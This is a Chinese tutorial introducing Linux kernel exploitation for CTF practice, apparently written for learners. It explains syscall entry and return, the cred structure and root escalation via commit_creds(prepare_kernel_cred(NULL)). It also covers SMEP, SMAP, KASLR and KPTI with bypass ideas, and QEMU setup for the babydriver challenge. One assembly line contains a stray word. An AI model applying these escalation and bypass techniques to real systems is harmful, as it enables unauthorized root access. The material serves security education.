linux kernel pwn

news2024/11/28 10:43:09

基础知识

内核概述

内核架构

通常来说我们可以把内核架构分为两种:宏内核和微内核,现在还有一种内核是混合了宏内核与微内核的特性,称为混合内核。
在这里插入图片描述

  • 宏内核(Monolithic kernel),也译为集成式内核、单体式内核,一种操作系统内核架构,此架构的特性是整个内核程序是一个单一二进制可执行文件,在内核态以监管者模式(Supervisor Mode)来运行。相对于其他类型的操作系统架构,如微内核架构或混合内核架构等,这些内核会定义出一个高端的虚拟接口,由该接口来涵盖描述整个电脑硬件,这些描述会集合成一组硬件描述用词,有时还会附加一些系统调用,如此可以用一个或多个模块来实现各种操作系统服务,如进程管理、并发(Concurrency)控制、存储器管理等。
  • .微内核(Micro Kernel),对于微内核而言,大部分的系统服务(如文件管理等)都被剥离于内核之外,内核仅仅提供最为基本的一些功能:底层的寻址空间管理、线程管理、进程间通信等。

linux 内核

kernel 最主要的功能有两点:

  • 控制并与硬件进行交互
  • 提供 application 能运行的环境

Linux 内核包含的内容:

  • 系统调用接口SCI层提供了某些机制执行从用户空间到内核的函数调用。这个接口依赖于体系结构。
  • 进程管理:进程的执行。在内核中,这些进程称为线程,代表了单独的处理器虚拟化(线程代码、数据、堆栈、CPU寄存器)。用户空间使用进程这个术语,但是Linux实现并没有区分这两个的概念(进程和线程),内核通过SCI提供了一个应用程序编程接口API,来创建一个新进程,停止进程,并在他们之间进行通信和同步。进程管理还包括处理获得进程之间共享CPU的需求。内核实现了一种新型的调度算法,不管有多少个线程在竞争CPU,这种算法都可以在固定时间内进行操作。调度程序也可以支持处理器(称为对称多处理器或SMP);
  • 内存管理:如果由硬件管理虚拟内存,内存是按照所谓的内存页方式进行管理的(4KB),Linux包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。但是内存管理要管理的可不止4KB缓冲区。Linux提供了对4KB缓冲区的抽象,例如slab分配器。这种内存管理模式使用的是4KB缓冲区为基数,然后从中分配结构,并跟踪内存页使用情况,比如哪些内存是满的,哪些页面没有完全使用,哪些页面为空。由于这个原因,页面可以移除内存并放入磁盘中。这个过程叫交换,因为页面会被从内存交换到硬盘上。Linux系统中,被用于交换的分区叫swap分区,在windows下叫做虚拟内存。
  • 文件系统:虚拟文件系统(VFS)是Linux内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象。VFSSCI和内核所支持的文件系统做了一个交换层。在VFS上面,是对oepn,close之类的函数的一个通用API抽象。在VFS下面是文件系统抽象,它定义了上层函数的实现方式。
  • 网络管理:网络堆栈在设计上遵循模拟协议本身的分层体系结构
  • 设备驱动:Linux内核中有大量代码都在设备驱动程序中,它们能够运转特定的硬件设备。Linux源码提供了一个驱动程序子目录,这个目录又进一步划分为各种支持设备,例如Bluetooth,I2C,serial等。

不同于Windows NT内核和Mach(Mac OS X 的组成部分)的微内核结构,linux内核采用的是单内核结构,效率高,但是体积大。

Ring Model

基本概念

intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3

大多数的现代操作系统只使用了 Ring 0Ring 3
在这里插入图片描述

  • 内核空间运行在Ring 0特权等级,拥有自己的空间,位于内存的高地址。
  • 用户空间则是我们平时应用程序运行的空间,运行在Ring 3特权等级,使用较低地址。

中断

中断即硬件/软件向 CPU 发送的特殊信号,CPU 接收到中断后会停下当前工作转而执行中断处理程序,完成后恢复原工作流程

中断向量表(interrupt vector table)类似一个虚表,该表通常位于物理地址 0~1k处,其中存放着不同中断号对应的中断处理程序的地址

自保护模式起引入中断描述符表(Interrupt Descriptor Table)用以存放 「门描述符」(gate descriptor),中断描述符表地址存放在 IDTR 寄存器中,CPU 通过中断描述符表访问对应门

「门」(gate)可以理解为中断的前置检查物件,当中断发生时会先通过这些「门」,主要有如下三种门:

  • 中断门(Interrupt gate):用以进行中断处理,其类型码为 110;中断门的 DPL(Descriptor Priviledge Level)为 0,故只能在内核态下访问,即中断处理程序应当由内核激活;进入中断门会清除 IF 标志位以关闭中断,防止中断嵌套的发生
  • 陷阱门(Trap gate):类型码为 111,类似于中断门,主要用以处理 CPU 异常,但不会清除 IF 标志位。
  • 系统门System gate):Linux 特有门,类型码为 3、4、5、128;其 DPL 为 3,用以供用户进程访问,主要用以进行系统调用(int 0x80)。

用户态->内核态

当发生系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换,具体的过程为:

  • 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是为了保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
    • GS 寄存器的作用是访问 CPU 特定的内存。
  • 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 RSP/ESP
  • 通过 push 保存各寄存器值,具体代码如下:
    ENTRY(entry_SYSCALL_64)
    /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
    SWAPGS_UNSAFE_STACK
    
    /* 保存栈值,并设置内核栈 */
    movq %rsp, PER_CPU_VAR(rsp_scratch)
    movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
    
    /* 通过push保存寄存器值,形成一个pt_regs结构 */
    /* Construct struct pt_regs on stack */
    pushq  $__USER_DS                /* pt_regs->ss */
    pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
    pushq  %r11                      /* pt_regs->flags */
    pushq  $__USER_CS                /* pt_regs->cs */
    pushq  %rcx                      /* pt_regs->ip */
    pushq  %rax                      /* pt_regs->orig_ax */
    pushq  %rdi                      /* pt_regs->di */
    pushq  %rsi                      /* pt_regs->si */
    pushq  %rdx                      /* pt_regs->dx */
    pushq  %rcx tuichu               /* pt_regs->cx */
    pushq  $-ENOSYS                  /* pt_regs->ax */
    pushq  %r8                       /* pt_regs->r8 */
    pushq  %r9                       /* pt_regs->r9 */
    pushq  %r10                      /* pt_regs->r10 */
    pushq  %r11                      /* pt_regs->r11 */
    sub $(6*8), %rsp                 /* pt_regs->bp, bx, r12-15 not saved */
    
  • 通过汇编指令判断是否为 x32_abi。(linux 32 位内核)
  • 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

内核态->用户态

具体流程如下:

  • 通过 swapgs 恢复 GS
  • 通过 sysretq 或者 iretq 恢复到用户空间继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等),即 trap_frame
struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));

对于开启了 KPTI(内核页表隔离),我们不能像之前那样直接 swapgs; iret 返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来

众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作
在这里插入图片描述
需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局
在这里插入图片描述
KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限(NX),这使得 ret2usr 彻底成为过去式

除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode,地址可以在 /proc/kallsyms 中获得。

swapgs_restore_regs_and_return_to_usermode 定义如下:

   0xffffffff81c00fb0 <swapgs_restore_regs_and_return_to_usermode>:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff81c00fb5 <swapgs_restore_regs_and_return_to_usermode+5>:	pop    r15
   0xffffffff81c00fb7 <swapgs_restore_regs_and_return_to_usermode+7>:	pop    r14
   0xffffffff81c00fb9 <swapgs_restore_regs_and_return_to_usermode+9>:	pop    r13
   0xffffffff81c00fbb <swapgs_restore_regs_and_return_to_usermode+11>:	pop    r12
   0xffffffff81c00fbd <swapgs_restore_regs_and_return_to_usermode+13>:	pop    rbp
   0xffffffff81c00fbe <swapgs_restore_regs_and_return_to_usermode+14>:	pop    rbx
   0xffffffff81c00fbf <swapgs_restore_regs_and_return_to_usermode+15>:	pop    r11
   0xffffffff81c00fc1 <swapgs_restore_regs_and_return_to_usermode+17>:	pop    r10
   0xffffffff81c00fc3 <swapgs_restore_regs_and_return_to_usermode+19>:	pop    r9
   0xffffffff81c00fc5 <swapgs_restore_regs_and_return_to_usermode+21>:	pop    r8
   0xffffffff81c00fc7 <swapgs_restore_regs_and_return_to_usermode+23>:	pop    rax
   0xffffffff81c00fc8 <swapgs_restore_regs_and_return_to_usermode+24>:	pop    rcx
   0xffffffff81c00fc9 <swapgs_restore_regs_and_return_to_usermode+25>:	pop    rdx
   0xffffffff81c00fca <swapgs_restore_regs_and_return_to_usermode+26>:	pop    rsi
   0xffffffff81c00fcb <swapgs_restore_regs_and_return_to_usermode+27>:	mov    rdi,rsp
   0xffffffff81c00fce <swapgs_restore_regs_and_return_to_usermode+30>:	mov    rsp,QWORD PTR gs:0x6004
   0xffffffff81c00fd7 <swapgs_restore_regs_and_return_to_usermode+39>:	push   QWORD PTR [rdi+0x30]
   0xffffffff81c00fda <swapgs_restore_regs_and_return_to_usermode+42>:	push   QWORD PTR [rdi+0x28]
   0xffffffff81c00fdd <swapgs_restore_regs_and_return_to_usermode+45>:	push   QWORD PTR [rdi+0x20]
   0xffffffff81c00fe0 <swapgs_restore_regs_and_return_to_usermode+48>:	push   QWORD PTR [rdi+0x18]
   0xffffffff81c00fe3 <swapgs_restore_regs_and_return_to_usermode+51>:	push   QWORD PTR [rdi+0x10]
   0xffffffff81c00fe6 <swapgs_restore_regs_and_return_to_usermode+54>:	push   QWORD PTR [rdi]
   0xffffffff81c00fe8 <swapgs_restore_regs_and_return_to_usermode+56>:	push   rax
   0xffffffff81c00fe9 <swapgs_restore_regs_and_return_to_usermode+57>:	xchg   ax,ax
   0xffffffff81c00feb <swapgs_restore_regs_and_return_to_usermode+59>:	mov    rdi,cr3
   0xffffffff81c00fee <swapgs_restore_regs_and_return_to_usermode+62>:	jmp    0xffffffff81c01024 
   
   0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116>:	or     rdi,0x1000
   0xffffffff81c0102b <swapgs_restore_regs_and_return_to_usermode+123>:	mov    cr3,rdi
   0xffffffff81c0102e <swapgs_restore_regs_and_return_to_usermode+126>:	pop    rax
   0xffffffff81c0102f <swapgs_restore_regs_and_return_to_usermode+127>:	pop    rdi
   0xffffffff81c01030 <swapgs_restore_regs_and_return_to_usermode+128>:	swapgs 
   0xffffffff81c01033 <swapgs_restore_regs_and_return_to_usermode+131>:	jmp    0xffffffff81c01060 <native_iret>

   0xffffffff81c01060 <native_iret>:	test   BYTE PTR [rsp+0x20],0x4
   0xffffffff81c01065 <native_iret+5>:	jne    0xffffffff81c01069 <native_irq_return_ldt>
   0xffffffff81c01067 <native_irq_return_iret>:	iretq 

大概操作如下:

mov  rdi, cr3
or rdi, 0x1000
mov  cr3, rdi
pop rax
pop rdi
swapgs
iretq

前面对寄存器赋值的操作与 pt_regs 结构体对应

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在这里插入图片描述

关于 syscall

系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装 (read 和 write))。
Int $0x80 指令的目的是产生一个编号为128的编程异常,这个编程异常对应的是中断描述符表 IDT 中的第 128 项——也就是对应的系统门描述符。门描述符中含有一个预设的内核空间地址,它指向系统调用处理程程序:system_call()

关于 ioctl

在 man 手册中,关于这个函数的说明如下

NAME
       ioctl - control device
SYNOPSIS
       #include <sys/ioctl.h>
       int ioctl(int fd, unsigned long request, ...);

DESCRIPTION
       The ioctl() system call manipulates the underlying device parameters of special
       files.  In particular, many  operating  characteristics  of  character  special
       files  (e.g., terminals) may be controlled with ioctl() requests.  The argument
       fd must be an open file descriptor.

       The second argument is a device-dependent request code.  The third argument  is
       an  untyped  pointer  to  memory.  It's traditionally char *argp (from the days
       before void * was valid C), and will be so named for this discussion.

       An ioctl() request has encoded in it whether the argument is an in parameter or
       out  parameter, and the size of the argument argp in bytes.  Macros and defines
       used in specifying an ioctl() request are located in the file <sys/ioctl.h>.

int ioctl(int fd, unsigned long request, ...) 的第一个参数为打开设备 (open) 返回的 文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。

使用 ioctl 进行通信的原因:

操作系统提供了内核访问标准外部设备的系统调用,因为大多数硬件设备只能够在内核空间内直接寻址,
但是当访问非标准硬件设备这些系统调用显得不合适, 有时候用户模式可能需要直接访问设备。

比如,一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持,有一些设备可能没有被内核设计者考虑到,如此一来提供一个这样的系统调用来使用设备就变得不可能了。

为了解决这个问题,内核被设计成可扩展的,可以加入一个称为设备驱动的模块,驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个 Ioctl
接口是一个独立的系统调用,通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的 Ioctl
调用,如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节,同时也不需要一大堆针对不同设备的系统调用。

进程权限管理

在这里插入图片描述
注意到 task_struct 的源码中有如下代码:

/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu		*ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu		*real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu		*cred;

Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred 结构体进行标识,对于一个进程而言应当有三个 cred

  • ptracer_cred 使用 ptrace 系统调用跟踪该进程的上级进程的 cred( gdb 调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)。
  • real_cred客体凭证objective cred),通常是一个进程最初启动时所具有的权限。
  • cred主体凭证subjective cred),该进程的有效 cred ,kernel 以此作为进程权限的凭证。

进程权限凭证: cred 结构体

对于一个进程,在内核当中使用一个结构体 cred 管理其权限,该结构体定义于内核源码 include/linux/cred.h 中,如下:

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key	*session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	/* RCU deletion */
	union {
		int non_rcu;			/* Can we skip RCU deletion? */
		struct rcu_head	rcu;		/* RCU deletion hook */
	};
} __randomize_layout;

我们主要关注 cred 结构体中管理权限的变量

用户 ID 和组 ID

一个 cred 结构体中记载了一个进程四种不同的用户 ID

  • 用户真实 ID(real UID):标识一个进程启动时的用户 ID
  • 保存用户 ID(saved UID):标识一个进程最初的有效用户 ID
  • 有效用户 ID(effective UID):标识一个进程正在运行时所属的用户 ID
  • 文件系统用户 ID(UID for VFS ops):标识一个进程创建文件时进行标识的用户 ID

通常情况下这四个值都是相同的。

用户组 ID 同样分为四个:真实组、保存组、有效组、文件系统组与上面类似。

提权

通过前面我们可以知道,只要我们改变一个进程的 cred 结构体,就能改变其执行权限。

内核空间下面有两个函数,都位于 kernel/cred.c 中:

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的 cred 结构体,并返回一个新的 cred 结构体,需要注意的是 daemon 参数应为有效的进程描述符地址或者 NULL 。
  • int commit_creds(struct cred *new):该函数用以将一个新的cred结构体应用到进程。

查看prepare_kernel_cred()函数源码,观察到如下逻辑:

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);
...

prepare_kernel_cred() 函数中,若传入的参数为 NULL ,则会缺省使用 init 进程的 cred 作为模板进行拷贝,即可以直接获得一个标识着 root 权限的 cred 结构体。那么我们不难想到,只要我们能够在内核空间执行 commit_creds(prepare_kernel_cred(NULL)) ,那么就能够将进程的权限提升到 root。

另外 init_cred 是在内核当中有一个特殊的 cred ,它是 init 进程的 cred ,因此其权限为 root ,且该 cred 并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址,那么我们就只需要执行一次 commit_creds(&init_cred) 便能完成提权。

IO

UNIX/Linux 追求高层次抽象上的统一,其设计哲学之一便是万物皆文件。

万物皆文件

UNIX/Linux 设计的哲学之一 —— 万物皆文件,在 Linux 系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作:

通过这种哲学,Linux提供了操作的同一性:

  • 所有的读取操作都可以通过 read 进行
  • 所有的更改操作都可以通过 write 进行

进程文件系统

用以描述一个进程,其中包括一个该进程所打开的文件描述符、堆栈内存布局、环境变量等

进程文件系统本身是一个伪文件系统,通常被挂载到 /proc 目录下,并不真正占用存储,而是占用一定的内存

当一个进程被建立起来时,其进程文件系统便会挂载到 /proc/[PID] 下,我们可以在该目录下查看其相关信息。

文件描述符

进程通过文件描述符来完成对文件的访问,其在形式上是一个非负整数,本质上是对文件的索引值,进程所有执行 I/O 操作的系统调用都会通过文件描述符。

每个进程都独立有着一个文件描述符表,存放着该进程所打开的文件索引,每当进程成功打开一个现有文件/创建一个新文件时(通过系统调用 open 进行操作),内核会向进程返回一个文件描述符。

在 kernel 中有着一个文件表,由所有的进程共享。

每个 *NIX 进程都应当有着三个标准的 POSIX 文件描述符,对应着三个标准文件流:

  • stdin:标准输入 = 0
  • stdout:标准输出 = 1
  • stderr:标准错误 = 2

后面打开的文件描述符应当从标号 3 起始。

系统调用:ioctl

*NIX中一切都可以被视为文件,因为一切都可以访问文件的方式进行操作,Linux定义了系统调用ioctl供进程与设备之间进行通信

系统调用ioctl是一个用于设备输入输出操作的一个系统调用,调用方式如下:

int ioctl(int fd,unsigned long request, ...)
  • fd:设备的文件描述符
  • request:请求码
  • 其他参数

对于一个提供了ioctl通信方式的设备而言,我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过ioctl系统调用完成不同的对设备的I/O操作

例如CD-ROM驱动程序弹出光驱的这一操作就对应着对“光驱设备”这一文件通过ioctl传递特定的请求码与请求参数完成

内核态函数调用

  • printf 变更为 printk() ,但需要注意的是 printtk() 不一定会把内容显示在终端上,当一定是在内核缓冲区里,可以通过 dmesg 查看效果。
  • memcpy 变更为 copy_from_user()/copy_to_user()
    • copy_from_user() 将用户空间的数据传送到内核空间
    • copy_to_user() 实现将内核空间的数据传送到用户空间
  • malloc() 变更为 kmalloc() ,内核态的内存分配函数,和 malloc 相似,但使用slab,slub 分配器,这个分配器通过一个多级的结构进行管理。
    • 首先有 cache 层,cache 是一个结构,也就是用来分配或者已经分配的一部分内核空间。kmalloc 使用多个 cache,一个 cache 对应一个 2 的幂的大小的一组内存对象。slab 分配器严格按照 cache 去区分,不同的 cache 无法分配在一页内,slub 分配器则较为宽松,不同的 cache 如果分配相同大小,可能会在一页内。
  • free 变更为 kfree() ,同 kmalloc()

信息获取

kptr_restrict

内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。

  • kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
  • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
  • kptr_restrict == 0 : root 和普通用户都可以读取.
    /proc/kallsyms的内容需要root权限才能查看,如果以非root用户权限查看将显示地址为0

kallsyms 抽取了内核用到的所有函数地址(全局的,静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image
要在内核中启用 kallsyms 功能,须设置 CONFIG_KALLSYMS 选项为 y ,如果要在 kallsyms 中包含全部符号信息,须设置 CONFIG_KALLSYMS_ALLy
kallsyms 表位于 /proc/kallsymskernel 中的 mod_tree 处存放着各个模块加载的地址.

sudo sysctl -w kernel.kptr_restrict=0
# 设置权限
cat /proc/kallsyms
# 列出所有内核符号
grep mod_tree /proc/kallsyms
# 列出各个模块加载的地址
cat /proc/modules
# 列出系统中已经加载的模块及其地址
grep _text /proc/kallsyms
# vmlinux加载地址

在这里插入图片描述

sys 目录

在这里插入图片描述

dmesg_restrict

设置 /proc/sys/kernel/dmesg_restrict1 禁止普通用户查看 demsg 信息,为 0 则允许.

sudo sysctl -w kernel.dmesg_restrict=0
# 设置权限
dmesg

slab 信息

sudo cat /proc/slabinfo

内核保护机制

smep

管理模式执行保护(Superivisor Mode Access Protection),禁止内核执行用户空间代码。当处理器处于ring 0模式,执行用户空间的代码会触发页错误。Linux下叫做PXN

smap

管理模式访问保护(Supervisor Mode Access Prevention),禁止内核访问用户地址空间,类似于smep。当处理器处于ring 0模式,访问用户空间的数据会触发页错误。ARM下叫做PAN(Privileged Access Never)

  • 对于没有SMAP/SMEP的情况下把内核指针重定向到用户空间的利用方式称为ret2usr
  • 上面两种保护的绕过方法:
    1. physmap是内核管理的一块非常大的连续的虚拟地址空间,为了提高效率,该地址空间和内存地址直接映射。内存地址相对physmap要小的多,导致了任何一个内存地址可以在physmap中找到对应的虚拟内存地址。我们知道用户空间的虚拟内存也会映射到内存地址,这就存在了连续虚拟内存地址映射到了同一个内存地址的情况。也就是说,我们在用户空间里创建的数据,代码就很有可能映射到physmap空间。那么在用户空间用mmap()将提权代码映射到内存,然后再在内核空间里找到其对应的副本,修改IP调到副本执行就可以了。因为physmap本身就在内核空间里,这种漏洞利用方式叫做ret2dir
    2. Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护,若能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护,完成SMEP-bypass,接下来就可以重新ret2usr
  • 关闭SMEP方法:修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX=,加上nosmep/nosmap/nokaslr,然后update-grub就可以。

MMAP_MIN_ADDR

内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间mmap的内存从0开始,从而缓解空指针引用攻击。windows系统从win8开始禁止在零页分配内存。从linux内核2.6.22开始可以使用sysctl设置mmap_min_addr来实现这一保护。

KASLR

内核地址空间布局随机化(Kernel Address Space Layout Randomization),开启后,允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时,内核的基址为0xffffffff80000000, 内核会占用0xffffffff80000000~0xffffffffC0000000这1G虚拟地址空间

Dmesg Restrictions

通过设置/proc/sys/kernel/dmesg_restrict为1,可以将dmesg输出的信息视为敏感信息(默认为0)

Kernel Address Display Restriction

内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印,在/proc/sys/kernel/kptr_restrict被设置1,导致无法通过/proc/kallsyms获取内核地址。

Kernel PageTable Isolation

KPTI,内核页表隔离,进程页表隔离。进程地址空间被分成了内核地址空间和用户地址空间,内核地址都是共享的,用户空间只能单独使用。为了防止用户程序获取内核数据,可以让用户地址空间和内核地址空间使用两组页表集。Windows称为KVA Shadow

由于有KPTI保护,即使关闭了smepsmap,也不能执行用户区间的代码,只能读,原因如下:
不隔离不意味着完全相同,填充内核态页表项时,KPTI 会给页表项加上 _PAGE_NX 标志,以阻止执行内核态页表所映射用户地址空间的代码。在 KAISER patch 里把这一步骤叫 毒化(poison)。

检查方式:查看 /sys/devices/system/cpu/vulnerabilities/*

/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

STACK PROTECTOR

类似于用户态程序的canary,通常又被称作是stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生kernel panic
开启: 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR 选项,来开启该保护。
关闭: 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary 保护。
内核中的canary的值通常取自gs段寄存器某个固定偏移处的值,可以直接绕过。

环境搭建

这里以 CISCN2017 - babydriver 为例讲解一下 kernel pwn 环境搭建。

基础概念

将下载好附件解压后发现三个文件:

  • boot.sh:启动脚本
  • bzImage:内核镜像
  • rootfs.cpio:文件系统

启动脚本

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.cpio \
  -kernel bzImage \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
  -enable-kvm \
  -monitor /dev/null -m 64M \
  --nographic \
  -smp cores=1,threads=1 \
  -cpu kvm64,+smep

在用 qemu 启动内核时,常用的选项如下

  • -m, 指定 RAM 大小,默认 384M
  • -kernel,指定内核镜像文件 bzImage 路径
  • -initrd,设置内核启动的内存文件系统
  • -smp [cpus=]n[,cores=cores][,threads=threads][,dies=dies][,sockets=sockets][,maxcpus=maxcpus],指定使用到的核数。
  • -cpu,指定指定要模拟的处理器架构,可以同时开启一些保护,如
    • +smap,开启 smap 保护
    • +smep,开启 smep 保护
  • -nographic,表示不需要图形界面
  • -monitor,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。-monitor /dev/nullCtrl + c 可以直接退出 qemu 。
  • -append,附加选项
    • nokaslr 关闭随机偏移
    • pti=on/off 开启/关闭 KPTI
    • console=ttyS0,和 nographic 一起使用,启动的界面就变成了当前终端。

安装 qemu 后运行 boot.sh 即可启动 linux 系统。

内核镜像

  • vmlinux:原始内核文件
    • 在当前目录下提取到 vmlinux ,为编译出来的原始内核文件。
  • bzImage:压缩内核镜像
    • 在当前目录下的 arch/x86/boot/ 目录下提取到 bzImage ,为压缩后的内核文件,适用于大内核。
  • zImage && bzImage
    • zImage 是 vmlinux 经过gzip压缩后的文件。
    • bzImage 中的 bz 表示“big zImage”。bzImage 不是用 bzip2 压缩,而是要偏移到一个位置,使用 gzip 压缩。
    • 两者的不同之处在于,zImage 解压缩内核到低端内存(第一个 640K),bzImage 解压缩内核到高端内存(1M 以上)。如果内核比较小,那么采用 zImage 或 bzImage 都行,如果比较大应该用 bzImage 。

文件系统

启动的文件系统,可以通过 cpio 进行解压(cpio -idmv < rootfs.cpio),不过有的题目可能会把一些其它压缩格式的文件系统后缀改成 cpio (例如这道 babydriver 例题就是??)所以最好直接右键 + Extract Here 解压。
在这里插入图片描述
rootfs 解压后可以看到在其根目录下有 init 文件,内容如下:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

init 是 linux 启动时的初始化文件,主要做一些环境配置。通过分析 init 文件可以获取一些重要信息,另外可以通过修改 init 文件增加调试分析的便捷性。

  • init 脚本中得知 需要分析的驱动文件的所在路径为 /lib/modules/4.4.72/babydriver.ko ,另外该驱动可能对应设备 /dev/babydev ,具体是否存在这种对应关系还需要分析 babydriver.ko 中是否有注册 babydev 设备的操作。
